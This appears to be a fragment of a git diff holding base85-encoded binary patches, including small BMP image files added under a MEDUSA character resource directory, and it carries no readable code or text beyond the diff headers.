z=fsxYGoSSR{%wEv*?axngM;^9jQfRH@7_3n^URK(V{cqPw5$g}9D2Ry;PM{4YAYXV zRrjHlH;%69JN`!Rv9;ZYR^2$Vx(Dd6S%+5l{BMB_H;=9D`*AJE(0y=a&mnU;pahTr zZx1XtHxjtfvhHJV-8}p0-CLJl0QdP>2M6x-{IsEa|H2*sdSulNQ2iro@I9_ok97Cc zTUWk&{m1R?zwTai`{%cA9e<duL`z$rY#1DP8J6pl9!K!3gahXp;SKYD?fety;=(1ULL(tCPa&(Sx#4}+#(cH{8! z8^BatD{mZL)q7+$aA;k_BqS(?7fR&$5h^m2zwTMmfAY;+$8e`_9mg#M>OHpR_Q^Mo zemHlMTnPCRxWTdN2;xVJXZQc~Cf;~>d#vm}u&f8@Aa3n-@b>6iy=OnVd+Xx=iLaKM z3=R(5>$`O4+KIm3_uV@C@y(N4Zv40oH~7$sd#BdE(=vq_7}dG_tsMuBt$6QaDI+-( z;-BBsb?v~4KlXK<`)bMgua^A2Zz-_(#}DVC1e#tle%LQP`mZXOQwP5O zf#wn^A*8TeVVZp;XKaMfI|d75D?%Yv7*|W+X(M@HuOaZ1VUQw}gN3jJp3xj<0?i?s z=Zy%%btCSSSe#BPqivY649Y#ni`e6k$v>n57DXMBcHn z)?Sg;UK8~>O*87q&Y}FkcnzygNw0)_kqA4li3xe-`O|0RPg^nn_3mre|J2M+e*5ZJ z!F`T=cTf;TmHLr#=txp5Fpmy^lwo85rwAouAtW@IC<~0`dxQ%-Bf!XohQ!H3Nqnye zs(nBfijKre2<@fb*z22`tp@2BJb!-iWp!4K4ln16%ItzM9{z<3nj|};+PJB4Es>p=wP-} zuq-f68BT`1LB)egFm-)ienU=vU24`eOl!)?ZOqMU%*!u9Rh7wUjRgf$QDseXT6120 zQ*Pdz_>}1iCEGQiqp}{*3_jbc>V;X&#b3R2b$!?B1+|SIZ~EYa^_!Su!!pStc`(sz zCq)@fRYlMg;Z(7IED}VN_{Wj$0wlila^2KviV2WwEM-ifGypgqM{^2RM6&0W&RSeq zyZC6drtdyK$ZR*lGQ+aAWNGz_dUQ}7RxUzDpHks=NBAk5a`vbUn z&oElOFze9J^()tMumpxzoG4sNbD^+3B4obgq*zFf$0|u4inA&rs4SPT$Pr$2$B;N1 zA7vcVtGO2Q<*nClw0Yvi~&(8`v$Kb%=o&MW->Li0{!OufOpB^7;R~9>luziiWIe&3h-!HH4yI}n47vt_gKjn{X6%aUcc|`+aPiL=GLG3 zKHPux^*v|XYl_ke ziYX33#8IB0=aEMRPm<)e71isaBxo?#m|bJasy1X+8MCVDfup$wqiLO?ZIhv8qoD=h zZZTD_HfB|uvTHz|#yrD#ajw`ux=gEGx6$y)$#MJ6%{zJX!wW-uzy9gn3F+}g$=ZEC zy>otO<Ke1Ea)lVjsMYA08yl&NtHJyp_wtM9Ky{^`iGvEILTZ~dEZqB2>8y9?RR zT}TK-qC>FQFuJFAh?O(dA&fXWDAqQhke|_*TW8FyELBbfp$j;`NMy*YtOG!q)y6r? z4egr^EgOuj8-ePYHvo4HGZuq9b(vM5Rc0oX@w{TEVDiodv-X^?Io|vJ*}I=FSTL)p zvG~Vp+kd|P>Ef=6`ld<8yFWhOyZMu2*~^ztpM@#L^F^>v^ogU#Edlo@zQ^A_jny)g zw>CA|j~*TEHg-JBEacHt(IJcgPl}gY>}XH6d+c~|PV5-}B(kzG$6!dWFl1ELgK*8L zG88n_Rj;ZonQKg)W1QRp>@)&UT<;lM-UTwWZZtG)FcdWz(&p5bcGgv{;04ep3dQxa zCVX;Y>JNW({&IJBx=5NL5}m%Y^N*puCE3YxI_cOS+kU?D@$S=QTfbp;On|Z&EvnC`smn9f&Rk;301;bbs9K44&F1&;psijF5~fxh^dT8G)7+q{|J=BB4J7=b~K!-spDP4yaO>o;JLl_duqOe*jq!AMI8y~Z&fHln8r2tB6%&w~|Y^<$aW6Z8Ily=s(;S*k4nUj;UOA>QS5^|;{<|i}II0v^>t@6f=p1<1p z=*W{;@k}_YuRls>^CM&2?d&`)zS`JCkMf<0jc>@Tt((|Z*Ri?2cs>|?>e@Ep^9kU? z1<1^}7CX&pQ~Ucx*>!2+wlqmcL1qnj`w(;ko&b4TH`g}2Juc6Xn>ITyeNJ9_MPACR zyyRKA$uo0!nR!sAiXip3a`dtqz0y9?HT%M*-10U=bOssEN|}IQJ7s@oczzG*+W3nGr!A9tZ3@oQC_)f z^2D~hjLO`MiqaWfMqq6d7^-la@qO#Y+V=Nq!R%Dj2uAoaRY_&yj2w27&+svz)g!z- z5~Qs1G=%7AJ7s*~z!R6mPh&lI_AD)u07XR$DP(qJr1$7CE+d9B10$PqjbLH{^Qdvk zd;`w92~3~nLDg(3u(o9*+m}JL58=4RQ0+shuHj0KE&(nxmELJ8A8MS1E1p-5(v>v# zD7sSweOn`jquf0(1`CdfiS+RXVGQP+iD+(9j?s`>VVu6u zFn3E$^Tz7tjUe_~7VT{7`n0L@qsG^ENa7Ufk}T82){4X#6C}AZUmC-iUZC7iHR%_i zak{M>51u@bISDD4lRVQjxn0lE%P5+rMIVF9TbF#&+_}@x@sFyejn#m-eUo8g8@@zI zuL7TaB|*%QR#vW#_F6G_QnDhG6&r3lV)@d=kHYo;nRps2xM*5op1-xNiq4dfNX*E{ z0B2{{5yK==%%;40V|ul5_Oja6O)ZN)>RS87f(08IsuvmN%x^MwEnK>zD6LFPLcyGB zn6{vPTvJooqA3Z}l>`yXjmdF`w6W;)v>8pMou;BjLs_S>=^ZGXlb1AQ!J@4VHH!_i z=QY%Jz1F#D$=WX)U)x^Oy3sU!p((Yx9!%cp6(ROMw!?;TV+h$Av{)y@LcGcDPMbI2 z%fu&aPh_>M5gTWh`wSl;h=^1$nS3%SHZ%k*5JMcD%E9Ng(k?^&`Xz6C(PUhlE=|l) zrcBA5T3%8!C3jjnk|v9W>E6UyRjZBjJ}}g*sjpep+_9yh>7Cq!l5y!X8k^s3>ey_m zTv=DQwtm63>1Ca5r#?N0y&r=EdzzM(e6+M44ZfRafVo5`b)BK>?_ zh7Xg(a!n0yFM9LKDLJJWL%!n8&$fTnd$f1x@P$hse*MF`4|aWe@RyPav(hw^mb|^M zs%b-Q^JWl}&25`n8s2F&tpnV(9sj6l*<97Uq3i8^D5THL7{B$aBkMohz4M!c$F6km zzdHDjFRpcVy(f-_D`qszTlKl2W^F@`A;dkvWwf1w%Sls+rzLA8A%2R8K!_0f-8cJQ zn)Qv&g%Nh6g&{$_zyLLau4FL~CN0>-$z#OGjMS-fD!Z6oytlWV*|KA3_3FW{rF*21 zFnY8f*(oF^Ik$7kI}m}saPfvkYj>~SvcF~S+wq*l5`Fn3O=+?q?X_jwS8Vup>AF2l zjmzl%#Kxv&384J#D%vZ5d9js51 zr70LlJWsJ<>)wvm)s*0By<|ExhC+-h5G%OCba?sPIa1c4jYHY|bmxvMWtJZ&1-?&g5 z!{-wiv&)Q!uJ#?gcKdMmo$tPxC<7o?Py;SXf*~rxe2mzLZcvg3>0eZ zyzGtle;XS5=9eKYZxSoWC)UTE9T}})v*dJI5|7XH^@BqL3x#AoEh0&)0uNzcg4J^A z?c4nt8d(z^oXjMPBg11n-2|~wN)}DQBqhTv9hb%@(mIyDaq9lijACP$l}q?Aw@7Qx zESWxCqzSPa+c9_buR}w-PhI@y(X&Ty4jsHYxc}17{!4?0t_~f(KD6_P6T44c{&ire zw74qV#wA~ooWzxf4s#_8_aF@OY@fSk+c)2*CN=> zlgC8P)bfyMzX?V8PX+~NpEx#w^I#|ji;-z*sqz5tY&JzriDd=*hdYnO7!(bQs^_q> z5TS-ib8~dcoif8zza-MuJ8Zbyl$65Wo*P#$Ud|F~m#y7)?AFlX?xCYMh7MdAJalE~ zz~!NXmj@4A8UzV&@X)oP<9$OW)1s+q1-E){oj-dn1y)83_XxN3WW>;X{Q_LAt)b8` z4UL%s!8#@{SuBh5^^J0IMdD&qq-axygcIOutgErq_6fw#zzVLO-%!tWbIygRaxy{7 zq|yTYLfu_d5Hm&0O%<|8eqPc3LBy~yOs1fDMSo{Z?}vS#(FSH!yU?RCU4qYAkcB_&41q-c3; zazs$Hzh?@MjSyp_eSLKzQG!$|XG6@e$PgRn$T6N%)5f*ezqaGs!#~}|jRZmaFI_aJ zFAn}-76|5_ZVjCt7+SOGvs_&UCPkdAZNO)$aCdhol7KPjS`IHB;-`otIxZaL;Su5C zj?k%KvX@gRX@aP_3_-ZN)2>}#zBDT+0Bn1AeG%zkSICS>q>~j4ih|43z#M)|RGg1j zkfS|6Ha1x<*9k@Ouvo=`sKG%be}5_=uH4l6#?CLde}8KK<@?8P4gJ(NbmI2V$vZLd*95$HgWi)cWEM}UL8WZI6>u+FCc*^#)7`9yg^NAC2fdR>JAz5s)oIzGV zOclh|a3ML99_Hl{=;A78u~QHf^dvcrfl#RvQj${T2q!Aa%ii8+th11h6pXK#Rk^&v zu%^PathVJXQ`^Ss#x>LCw8f`nMFa%dkFs;Hw(+&Mrv!(>Br3*-6J&BF#8-3SR4Jn6 zKyjX4L1UeSM3N2`s3AzrVXHYzDUDRDB4=>IVK(E=-8)YqefrpBDd5WG%VL2*668@R zpvdS%46t(8Dh^A<8g-Tu%TlY^kx|h;eo;O?;a*;T zW1U>AZS1V9Y^|)uSXqr7G0b)JC_fkHI6q%rR5Y7FfMQ}%4wQsqX-aL5E-?kc5IRdj zp+$Lm0Xs1cq%nhPxEwW?qk+K86I+qQ6vhPP81gor>_mk2j^b~r&wq4Q%&8i6QBAD^R(&(`TPRLT?u z8ZQz`Y1B*=mWs*Jfc+YErdlm!vNR%bvJ_Er`HYCDKqvP=H+N=ioE#P?gd&s=V=x!v zL0}oIf;bqL4Pq-xLafgcdN_{WvGe0s%DU_G&wbt9(;0+xm?7uT5H3RsF%gJ`av@L! zIiDxz^D&sO7KuS`;}a=y{z1VmZoUp_Tqa^DzOa6kh=gl_HS> zhGlGsN2ZX&BO<(g{l_}{jB)UDbOaA_z&Bn5FK<#%aG0A%fP;&_gEK&k^a~`16Zlky z92RM0h*~OBNW`d6fPym3#R6884`F;r&SRqxOU;R$R{*p9oiLT+$&U{owZXHoT2`7< zOD6k{vCWgxF)m%oWq=q)KmgA_u|&q<&>|ut z{rm!4T%1PR`MJ172ZwSBcnky5V{$EusH751Dn>;DP!3)i%rmoc@pk2L z#B9bmC3Sv|&~?P{me$rsG*3=ED=WUN-oACK^C%lVD@q5mB*0f52jN2q3;|G7z(at9 zJXFX>g#Z-BKs7}|l~|&ZNI=E42%?vxNua-~l}Q+az`R6_O0Q7p6mqQ`)yfeqD$~f# zLJ>78Q^>@aM1+V04{%{Vz(oWAlq=&x5*E2(ykH^{Uhdk_BA#0wbiurO0ACtgJ zsR;P0l!;Ylw}5jx1)6AP<g7HAH=YkRV5YTpdwf)6ljDz zH4e%sNnpO$m>A(;DvvmKEop%x?{AdJDZhYG+51p!={hzA64 z0V@z-1p@t5Z4Oj0FeRxll|%qhiNN4^C2lRC)XR~0JOdcKq&g7opluMbN+L3Y!fG*3 zE#j$QC=H>!+n_I!M?2cvf3Wp~=Q8#ASuMriy?Zw=GsEA(t}F%3(uichS^=1LAQ_O5 zi?fOWE3A;<*5d9WV$ff83Tc880lorOE{z0O0eXTNRF6r4baIJBT12ctKum~K5}{fI z)?$2xkgF1smK$^(6ZwuKt;%Q5zIXrLGj>x@XUq2dF>JZ+!nt!0ixuK(KRH2?pcKl0 zy8?VPMul7i@3OeB3W@LmD{ie+i%H`ZvLv+}u<~eRGb>m>;HLhGRfmYQh)9D7)KY;) z#McVA8Xmp5M82{@?dxcbsns`cKI=U5kQ0A>QC4v2*I(_9iXa5KI^^nPDJmHzU}K=a z3c2{+>?RW2p6ekum;2}D$+}#JRPs4EO~;O;X2BCa&d8YH~!Q9r#;wzN*lZ)R?A(! z_~LUql^W*lRFo(#Oq8j>3Rb{YfKDvrDusNdh^LfrfpaP$#34Oo#Rntcr9dYYXk~nr zjIS26rsc}!%}G{s!u?%c=67^h3V-3yebfT4j@43^GpA3dB`5j0+NViKGjq{Y75M1R zRtk6u0ay}nHDVrM(ulb1I6^!I`mPYClnH^F(!JudBO0g zvM-rQz{CQEAuR#} zN=yVP1dQAyxPE$KnvCK+#x`E7K63{A4*OMZe*>$fdLMuG36V_pcC;=)>kuK3O3afB8A&Qu#bm6!5RD9U3Gnrq*WUW%U+=tF3;b=YpgO;v z`>k~53>SL`lE3o=Eqh9;ECuDJ$e?6|$BB!;Sy4D%0TpM<=1f49e1e<(C^+J0|WOz{pV+5sch_M8)k%0zJgb%5@brb+}N-bxgbADHaT0Wf@8d$ zM~C?NEb4r%r{^i(7yqgH&-M0iV|~09{kQwqzw$=Aif(aze}!6x`pg-B=1qnBtcL!-*wSy(c#H9$Rpyh$9O&vkxD?lc*B@yA>)ns(I)1#X8)W{z3tR#cxWJJ^D|!yE?K!r- z=fsxYGoSSR{%wEv*?axngM;^9jQfRH@7_3n^URK(V{cqPw5$g}9D2Ry;PM{4YAYXV zRrjHlH;%69JN`!Rv9;ZYR^2$Vx(Dd6S%+5l{BMB_H;=9D`*AJE(0y=a&mnU;pahTr zZx1XtHxjtfvhHJV-8}p0-CLJl0QdP>2M6x-{IsEa|H2*sdSulNQ2iro@I9_ok97Cc zTUWk&{m1R?zwTai`{%cA9e<duL`z$rY#1DP8J6pl9!K!3gahXp;SKYD?fety;=(1ULL(tCPa&(Sx#4}+#(cH{8! z8^BatD{mZL)q7+$aA;k_BqS(?7fR&$5h^m2zwTMmfAY;+$8e`_9mg#M>OHpR_Q^Mo zemHlMTnPCRxWTdN2;xVJXZQc~Cf;~>d#vm}u&f8@Aa3n-@b>6iy=OnVd+Xx=iLaKM z3=R(5>$`O4+KIm3_uV@C@y(N4Zv40oH~7$sd#BdE(=vq_7}dG_tsMuBt$6QaDI+-( z;-BBsb?v~4KlXK<`)bMgua^A2Zz-_(#}DVC1e#tle%LQP`mZXOQwP5O zf#wn^A*8TeVVZp;XKaMfI|d75D?%Yv7*|W+X(M@HuOaZ1VUQw}gN3jJp3xj<0?i?s z=Zy%%btCSSSe#BPqivY649Y#ni`e6k$v>n57DXMBcHn z)?Sg;UK8~>O*87q&Y}FkcnzygNw0)_kqA4li3xe-`O|0RPg^nn_3mre|J2M+e*5ZJ z!F`T=cTf;TmHLr#=txp5Fpmy^lwo85rwAouAtW@IC<~0`dxQ%-Bf!XohQ!H3Nqnye zs(nBfijKre2<@fb*z22`tp@2BJb!-iWp!4K4ln16%ItzM9{z<3nj|};+PJB4Es>p=wP-} zuq-f68BT`1LB)egFm-)ienU=vU24`eOl!)?ZOqMU%*!u9Rh7wUjRgf$QDseXT6120 zQ*Pdz_>}1iCEGQiqp}{*3_jbc>V;X&#b3R2b$!?B1+|SIZ~EYa^_!Su!!pStc`(sz zCq)@fRYlMg;Z(7IED}VN_{Wj$0wlila^2KviV2WwEM-ifGypgqM{^2RM6&0W&RSeq zyZC6drtdyK$ZR*lGQ+aAWNGz_dUQ}7RxUzDpHks=NBAk5a`vbUn z&oElOFze9J^()tMumpxzoG4sNbD^+3B4obgq*zFf$0|u4inA&rs4SPT$Pr$2$B;N1 zA7vcVtGO2Q<*nClw0Yvi~&(8`v$Kb%=o&MW->Li0{!OufOpB^7;R~9>luziiWIe&3h-!HH4yI}n47vt_gKjn{X6%aUcc|`+aPiL=GLG3 zKHPux^*v|XYl_ke ziYX33#8IB0=aEMRPm<)e71isaBxo?#m|bJasy1X+8MCVDfup$wqiLO?ZIhv8qoD=h zZZTD_HfB|uvTHz|#yrD#ajw`ux=gEGx6$y)$#MJ6%{zJX!wW-uzy9gn3F+}g$=ZEC zy>otO<Ke1Ea)lVjsMYA08yl&NtHJyp_wtM9Ky{^`iGvEILTZ~dEZqB2>8y9?RR zT}TK-qC>FQFuJFAh?O(dA&fXWDAqQhke|_*TW8FyELBbfp$j;`NMy*YtOG!q)y6r? z4egr^EgOuj8-ePYHvo4HGZuq9b(vM5Rc0oX@w{TEVDiodv-X^?Io|vJ*}I=FSTL)p zvG~Vp+kd|P>Ef=6`ld<8yFWhOyZMu2*~^ztpM@#L^F^>v^ogU#Edlo@zQ^A_jny)g zw>CA|j~*TEHg-JBEacHt(IJcgPl}gY>}XH6d+c~|PV5-}B(kzG$6!dWFl1ELgK*8L zG88n_Rj;ZonQKg)W1QRp>@)&UT<;lM-UTwWZZtG)FcdWz(&p5bcGgv{;04ep3dQxa zCVX;Y>JNW({&IJBx=5NL5}m%Y^N*puCE3YxI_cOS+kU?D@$S=QTfbp;On|Z&EvnC`smn9f&Rk;301;bbs9K44&F1&;psijF5~fxh^dT8G)7+q{|J=BB4J7=b~K!-spDP4yaO>o;JLl_duqOe*jq!AMI8y~Z&fHln8r2tB6%&w~|Y^<$aW6Z8Ily=s(;S*k4nUj;UOA>QS5^|;{<|i}II0v^>t@6f=p1<1p z=*W{;@k}_YuRls>^CM&2?d&`)zS`JCkMf<0jc>@Tt((|Z*Ri?2cs>|?>e@Ep^9kU? z1<1^}7CX&pQ~Ucx*>!2+wlqmcL1qnj`w(;ko&b4TH`g}2Juc6Xn>ITyeNJ9_MPACR zyyRKA$uo0!nR!sAiXip3a`dtqz0y9?HT%M*-10U=bOssEN|}IQJ7s@oczzG*+W3nGr!A9tZ3@oQC_)f z^2D~hjLO`MiqaWfMqq6d7^-la@qO#Y+V=Nq!R%Dj2uAoaRY_&yj2w27&+svz)g!z- z5~Qs1G=%7AJ7s*~z!R6mPh&lI_AD)u07XR$DP(qJr1$7CE+d9B10$PqjbLH{^Qdvk zd;`w92~3~nLDg(3u(o9*+m}JL58=4RQ0+shuHj0KE&(nxmELJ8A8MS1E1p-5(v>v# zD7sSweOn`jquf0(1`CdfiS+RXVGQP+iD+(9j?s`>VVu6u zFn3E$^Tz7tjUe_~7VT{7`n0L@qsG^ENa7Ufk}T82){4X#6C}AZUmC-iUZC7iHR%_i zak{M>51u@bISDD4lRVQjxn0lE%P5+rMIVF9TbF#&+_}@x@sFyejn#m-eUo8g8@@zI zuL7TaB|*%QR#vW#_F6G_QnDhG6&r3lV)@d=kHYo;nRps2xM*5op1-xNiq4dfNX*E{ z0B2{{5yK==%%;40V|ul5_Oja6O)ZN)>RS87f(08IsuvmN%x^MwEnK>zD6LFPLcyGB zn6{vPTvJooqA3Z}l>`yXjmdF`w6W;)v>8pMou;BjLs_S>=^ZGXlb1AQ!J@4VHH!_i z=QY%Jz1F#D$=WX)U)x^Oy3sU!p((Yx9!%cp6(ROMw!?;TV+h$Av{)y@LcGcDPMbI2 z%fu&aPh_>M5gTWh`wSl;h=^1$nS3%SHZ%k*5JMcD%E9Ng(k?^&`Xz6C(PUhlE=|l) zrcBA5T3%8!C3jjnk|v9W>E6UyRjZBjJ}}g*sjpep+_9yh>7Cq!l5y!X8k^s3>ey_m zTv=DQwtm63>1Ca5r#?N0y&r=EdzzM(e6+M44ZfRafVo5`b)BK>?_ zh7Xg(a!n0yFM9LKDLJJWL%!n8&$fTnd$f1x@P$hse*MF`4|aWe@RyPav(hw^mb|^M zs%b-Q^JWl}&25`n8s2F&tpnV(9sj6l*<97Uq3i8^D5THL7{B$aBkMohz4M!c$F6km zzdHDjFRpcVy(f-_D`qszTlKl2W^F@`A;dkvWwf1w%Sls+rzLA8A%2R8K!_0f-8cJQ zn)Qv&g%Nh6g&{$_zyLLau4FL~CN0>-$z#OGjMS-fD!Z6oytlWV*|KA3_3FW{rF*21 zFnY8f*(oF^Ik$7kI}m}saPfvkYj>~SvcF~S+wq*l5`Fn3O=+?q?X_jwS8Vup>AF2l zjmzl%#Kxv&384J#D%vZ5d9js51 zr70LlJWsJ<>)wvm)s*0By<|ExhC+-h5G%OCba?sPIa1c4jYHY|bmxvMWtJZ&1-?&g5 z!{-wiv&)Q!uJ#?gcKdMmo$tPxC<7o?Py;SXf*~rxe2mzLZcvg3>0eZ zyzGtle;XS5=9eKYZxSoWC)UTE9T}})v*dJI5|7XH^@BqL3x#AoEh0&)0uNzcg4J^A z?c4nt8d(z^oXjMPBg11n-2|~wN)}DQBqhTv9hb%@(mIyDaq9lijACP$l}q?Aw@7Qx zESWxCqzSPa+c9_buR}w-PhI@y(X&Ty4jsHYxc}17{!4?0t_~f(KD6_P6T44c{&ire zw74qV#wA~ooWzxf4s#_8_aF@OY@fSk+c)2*CN=> zlgC8P)bfyMzX?V8PX+~NpEx#w^I#|ji;-z*sqz5tY&JzriDd=*hdYnO7!(bQs^_q> z5TS-ib8~dcoif8zza-MuJ8Zbyl$65Wo*P#$Ud|F~m#y7)?AFlX?xCYMh7MdAJalE~ zz~!NXmj@4A8UzV&@X)oP<9$OW)1s+q1-E){oj-dn1y)83_XxN3WW>;X{Q_LAt)b8` z4UL%s!8#@{SuBh5^^J0IMdD&qq-axygcIOutgErq_6fw#zzVLO-%!tWbIygRaxy{7 zq|yTYLfu_d5Hm&0O%<|8eqPc3LBy~yOs1fDMSo{Z?}vS#(FSH!yU?RCU4qYAkcB_&41q-c3; zazs$Hzh?@MjSyp_eSLKzQG!$|XG6@e$PgRn$T6N%)5f*ezqaGs!#~}|jRZmaFI_aJ zFAn}-76|5_ZVjCt7+SOGvs_&UCPkdAZNO)$aCdhol7KPjS`IHB;-`otIxZaL;Su5C zj?k%KvX@gRX@aP_3_-ZN)2>}#zBDT+0Bn1AeG%zkSICS>q>~j4ih|43z#M)|RGg1j zkfS|6Ha1x<*9k@Ouvo=`sKG%be}5_=uH4l6#?CLde}8KK<@?8P4gJ(NbmI2V$vZLd*95$HgWi)cWEM}UL8WZI6>u+FCc*^#)7`9yg^NAC2fdR>JAz5s)oIzGV zOclh|a3ML99_Hl{=;A78u~QHf^dvcrfl#RvQj${T2q!Aa%ii8+th11h6pXK#Rk^&v zu%^PathVJXQ`^Ss#x>LCw8f`nMFa%dkFs;Hw(+&Mrv!(>Br3*-6J&BF#8-3SR4Jn6 zKyjX4L1UeSM3N2`s3AzrVXHYzDUDRDB4=>IVK(E=-8)YqefrpBDd5WG%VL2*668@R zpvdS%46t(8Dh^A<8g-Tu%TlY^kx|h;eo;O?;a*;T zW1U>AZS1V9Y^|)uSXqr7G0b)JC_fkHI6q%rR5Y7FfMQ}%4wQsqX-aL5E-?kc5IRdj zp+$Lm0Xs1cq%nhPxEwW?qk+K86I+qQ6vhPP81gor>_mk2j^b~r&wq4Q%&8i6QBAD^R(&(`TPRLT?u z8ZQz`Y1B*=mWs*Jfc+YErdlm!vNR%bvJ_Er`HYCDKqvP=H+N=ioE#P?gd&s=V=x!v zL0}oIf;bqL4Pq-xLafgcdN_{WvGe0s%DU_G&wbt9(;0+xm?7uT5H3RsF%gJ`av@L! zIiDxz^D&sO7KuS`;}a=y{z1VmZoUp_Tqa^DzOa6kh=gl_HS> zhGlGsN2ZX&BO<(g{l_}{jB)UDbOaA_z&Bn5FK<#%aG0A%fP;&_gEK&k^a~`16Zlky z92RM0h*~OBNW`d6fPym3#R6884`F;r&SRqxOU;R$R{*p9oiLT+$&U{owZXHoT2`7< zOD6k{vCWgxF)m%oWq=q)KmgA_u|&q<&>|ut z{rm!4T%1PR`MJ172ZwSBcnky5V{$EusH751Dn>;DP!3)i%rmoc@pk2L z#B9bmC3Sv|&~?P{me$rsG*3=ED=WUN-oACK^C%lVD@q5mB*0f52jN2q3;|G7z(at9 zJXFX>g#Z-BKs7}|l~|&ZNI=E42%?vxNua-~l}Q+az`R6_O0Q7p6mqQ`)yfeqD$~f# zLJ>78Q^>@aM1+V04{%{Vz(oWAlq=&x5*E2(ykH^{Uhdk_BA#0wbiurO0ACtgJ zsR;P0l!;Ylw}5jx1)6AP<g7HAH=YkRV5YTpdwf)6ljDz zH4e%sNnpO$m>A(;DvvmKEop%x?{AdJDZhYG+51p!={hzA64 z0V@z-1p@t5Z4Oj0FeRxll|%qhiNN4^C2lRC)XR~0JOdcKq&g7opluMbN+L3Y!fG*3 zE#j$QC=H>!+n_I!M?2cvf3Wp~=Q8#ASuMriy?Zw=GsEA(t}F%3(uichS^=1LAQ_O5 zi?fOWE3A;<*5d9WV$ff83Tc880lorOE{z0O0eXTNRF6r4baIJBT12ctKum~K5}{fI z)?$2xkgF1smK$^(6ZwuKt;%Q5zIXrLGj>x@XUq2dF>JZ+!nt!0ixuK(KRH2?pcKl0 zy8?VPMul7i@3OeB3W@LmD{ie+i%H`ZvLv+}u<~eRGb>m>;HLhGRfmYQh)9D7)KY;) z#McVA8Xmp5M82{@?dxcbsns`cKI=U5kQ0A>QC4v2*I(_9iXa5KI^^nPDJmHzU}K=a z3c2{+>?RW2p6ekum;2}D$+}#JRPs4EO~;O;X2BCa&d8YH~!Q9r#;wzN*lZ)R?A(! z_~LUql^W*lRFo(#Oq8j>3Rb{YfKDvrDusNdh^LfrfpaP$#34Oo#Rntcr9dYYXk~nr zjIS26rsc}!%}G{s!u?%c=67^h3V-3yebfT4j@43^GpA3dB`5j0+NViKGjq{Y75M1R zRtk6u0ay}nHDVrM(ulb1I6^!I`mPYClnH^F(!JudBO0g zvM-rQz{CQEAuR#} zN=yVP1dQAyxPE$KnvCK+#x`E7K63{A4*OMZe*>$fdLMuG36V_pcC;=)>kuK3O3afB8A&Qu#bm6!5RD9U3Gnrq*WUW%U+=tF3;b=YpgO;v z`>k~53>SL`lE3o=Eqh9;ECuDJ$e?6|$BB!;Sy4D%0TpM<=1f49e1e<(C^+J0|WOz{pV+5sch_M8)k%0zJgb%5@brb+}N-bxgbADHaT0Wf@8d$ zM~C?NEb4r%r{^i(7yqgH&-M0iV|~09{kQwqzw$=Aif(aze}!6x`MjOm;A%-3=s!gbtF)NpTSgm?c9Np+7(qG~ib-ilXA=)<0kq zClT^z;@Ag6y>K4RdGEdFOZoaK36Jv$Kd=|<4J!%nP!PVk|9vg&A%Mf-5QbqK$IIms z;%~QG^dJb1$78eEv~3&i_j}*>(HDz_uIvB5g<7qKLdeI>X47i5y4@~ZtyU=LqtWPc zxs1nS6qqClM4!!OjYi{{$Fi*HbV>+a*OerxTrNY$aVC>VktfSCN}Nt7h)-s8Zu|Xy zrBbO@tFkP6o>#n|&*$}e{h8l1O)3&nJxx=3V_tYZpNoF*ce`D?-R|{zkR=rTM^R)L z#xswqs>Qs+;gAfB(CKs_&jy15&-lnn*(Bv4{(8Mezu)h-+fCCnQ4|$Lxn8e%o}>Q( D-Z7%4 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/25.bmp b/resources/default_config/characters/MEDUSA/static/25.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9b51eecbbd7b53585b9c8e5a81752e26e57fce86 GIT binary patch literal 438 zcmchTy$XXc6ouoIt#s_DTNiQb19a~sh~mps$PmRJ{D~kLI*5~dpP&z*@6tsmwFiqr z`T#v}4<}#lC6}Bpca1DM!H+14+M_gbfD>}X{bTp71;B(5P1D>~A=h;co+L?CRj%v$ zzVCS++OjMIM}uja>ol<}OG=4jp68r%+qNCYfrnv;ad3obnx3nW<2VM7qG(pN@wcjt ztL^iDI9_?FO4Ahk2SM<&4`U3xD2l%CyRK{77LHt&B{)7{97n@2D5bit55oWg{sEOT B_MHF# literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/50.bmp b/resources/default_config/characters/MEDUSA/static/50.bmp new file mode 100644 index 0000000000000000000000000000000000000000..dfffc4e5da5ddda465d3d3c5d902345ce35927fd GIT binary patch literal 438 zcmaKnziNYU5Xa48w^Fb}UqI~S;Ly#blS>CzSEH|Cmw+NF3I0pe=%!E5Q4qx!$Rdc3 z5gbxUzZfi}Ll5rD-RF0Azq|L3uN5)d8}t?a0Dpq7h!-e9eB!-%y!i|uS(f>}pCrlg zc!UN)a5x;mP18)%biH1ystOIm(6TIWymB13bQ3g9M^S`yyWOH!mSsgzph#WU1-EUx zsw%Xj3|f}uZnpzRu^$-lux7(hEVNBEXy%=I_f_m`#^6UQ`|6;~vF~m3xb2Lr+GiS5efX8uM6a}vHJP(@Z ZIW7Vp$Fb`=mSstjWEkdjI-SpF@E>QJ*NFfC literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/75.bmp b/resources/default_config/characters/MEDUSA/static/75.bmp new file mode 100644 index 0000000000000000000000000000000000000000..86f4638ae21f17d660acc6ac25e215b76ecdbf49 GIT binary patch literal 438 zcmY*VJ!^wd6g7i%D;+y`u>pyKP`4o6`xnH)gbeu+)k%#;QR8=UHIOA4I*LQbIAzH% z(IG;5h#1I)d${+!bMCwEeSZCph+BLB-;qzq7vzX|1ro$J&i|hKyb*vb%fc}H86pUR zJkP=Fx}GG7EX(ux90-|ZS>U568jr_=o1kerO;fbCZM&`u9MAI>iv`0l zEXx9y%Oxg54;ROA_xU`}$8n4nuKj+$TCK1c@NhUdjssrPwCiISh5;V3uInyCpziNg p6y;HVRaF&w+>0gg7CZ!qy8oZ1X-=mTMNuS4P9~G{`P{ZG^#9d*xat4^ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/AI.bmp b/resources/default_config/characters/MEDUSA/static/AI.bmp new file mode 100644 index 0000000000000000000000000000000000000000..819dac8f801731ba1313244c659f52e3866d30d2 GIT binary patch literal 1062 zcmbVLO^bn16uvJ)WELZOl?5ASYco5gw=B@auTYkhjbC8J4m%4{R3t1`o zOlgQDA2UzyosrLGnp5|5-t#=qIrpCTUhd5xBD}rAzhFIoFNUyu{zFJe>4`2r0r&YY z`@gQ&>oppUX0y3ouWwrqheM$CdVR52%w{vhtyXKbS`iYBMkNx7R4R?dVpqETes8r} zfvQxhe!m}yL=YhSR@h^i$(r?Znql= zxm=#jW~7=|`8(=Y>Lyn!uwRHQEVDqtUorF7N3!n~lk2 